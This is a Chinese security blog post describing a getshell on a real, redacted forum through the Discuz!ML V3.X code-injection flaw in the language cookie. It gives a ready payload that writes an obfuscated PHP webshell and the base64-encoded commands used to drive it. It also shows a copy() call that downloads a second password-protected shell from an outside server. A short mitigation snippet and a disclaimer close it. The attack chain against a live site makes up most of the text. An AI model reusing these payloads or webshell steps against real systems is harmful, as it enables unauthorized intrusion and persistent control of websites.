某论坛getshell

  • A+
所属分类:安全文章



点击蓝字 ·  关注我们


01


前言


此次shell利用了Discuz!ML V3.X 代码注入漏洞

在19年7月11日,Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。


02


漏洞URL


漏洞url:http://www.xxxx.net.cn

03


漏洞复现


某论坛getshell



0x01  payload

'.assert(system(urldecode('echo"<?php @$pi=base_convert%3b$pi=$pi(53179,10,36)^$pi(1109136,10,36)%3b${$pi}{0}(base64_decode(${$pi}{1}))%3b?>" > .%252fdata%252f1.php'))).'
将payload进行两次urldecode解码则为

某论坛getshell




0x02

直接在tSWa_2132_language参数后面添加payload,发送请求,通过回发现请求成功。

某论坛getshell



0x03

测试1.php文件是否写入,将你想执行的命令进行base64编码。

某论坛getshell



0x04

访问http://www.xxxxxx.cn/data/1.php?0=assert&1=c3lzdGVtKCdscycp

某论坛getshell

回显成功,则1.php写入成功



0x05

通过写入的php文件执行copy("http://xxxxx:8088/1.txt","test.php")将该命令进行base64编码

某论坛getshell


访问
http://www.xxxxxx.cn/data/1.php?0=assert&1=Y29weSgiaHR0cDovLzIwxxxxxxxxxxMDg4LzEudHh0IiwidGVzdC5waHAiKQ==
之后会在data目录下创建一个test.php文件,接着我们访问该文件



某论坛getshell


0x06

访问:http://www.xxxx.net.cn/data/test.php
密码:admin

某论坛getshell

发现我们已经getshell成功

04


修复建议


单看语言这个点:

在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:

$lng = str_replace("(","",$lng);$lng = str_replace(")","",$lng);$lng = str_replace("'","",$lng);$lng = str_replace('"',"",$lng);$lng = str_replace('`',"",$lng);

PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。


EDI安全

某论坛getshell

扫二维码|关注我们


一个专注渗透实战经验分享的公众号

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: